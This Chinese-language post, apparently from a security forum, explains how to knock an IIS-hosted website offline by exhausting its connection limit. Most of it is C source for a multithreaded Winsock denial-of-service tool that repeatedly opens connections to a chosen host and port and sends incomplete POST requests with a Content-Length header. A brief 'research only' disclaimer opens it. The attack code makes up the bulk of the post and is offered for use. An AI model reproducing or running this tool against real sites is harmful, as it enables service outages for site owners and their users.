安全中国提示本程序仅做为技术研究之用请勿用于非法用途否则后果自负
最近买了个空间来玩各位勿笑是入门级的虚拟主机偶是穷人啊各种参数都相当低特别是IIS连接数只有100个也就是同时支持100个不同的访问。
这里就出现问题了。如果我一直对该网站进行连接虽然我是同一个人但是IIS却傻乎乎的把每次连接当成不同的人每连接一次就会分配一个session给我当连接超过服务器设置的IIS最大连接数目的时候……呵呵拒绝服务就发生了。
具体的攻击嘛我们当然是利用程序来完成。思路简单就是不断的向网站发HTTP请求直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序跟今天的要求很相似就拿来改改咯。具体代码如下
#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数
int ThreadCount=0;
struct mydata
{
char *ip;
int port;
};
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
DWORD WINAPI Dos(LPVOID lpParam )
{
mydata *csdn = (mydata*)lpParam;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(csdn->port);
server.sin_addr.s_addr = resolve((char*)csdn->ip);
if(server.sin_addr.s_addr==0)
{
printf("Dont find address %s\n",(char*)csdn->ip);
exit(0);
}
int my;
char buf[100]="POST / HTTP/1.1\r\nHost: ";
strcat(buf,(char*)csdn->ip);
strcat(buf," \r\nContent-Length: 10\r\n\r\n");
my=socket(PF_INET,SOCK_STREAM,0);
if(my==INVALID_SOCKET)
{
printf("ERROR");
exit(0);
}
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
{
printf("Socket ERROR:%d",GetLastError());
exit(0);
}
if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
ThreadCount--;
return 0;
}
void thread ( char *a1 , char *a2 , char *a3 )
{
static mydata tmp;
tmp.ip = a1;
tmp.port = atoi(a2);
DWORD dwThreadId;
HANDLE hThread;
WSADATA ws;
if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
{
printf(" [-] WSAStartup() error\n");
exit(0);
}
hThread = CreateThread(
NULL, // no security attributes
0, // use default stack size
Dos, // thread function
&tmp, // argument to thread function
0, // use default creation flags
&dwThreadId); // returns the thread identifier
if (hThread == NULL)
printf( "CreateThread failed." );
ThreadCount++;
Sleep(200); //延时否则CPU会用满……
CloseHandle(hThread);
}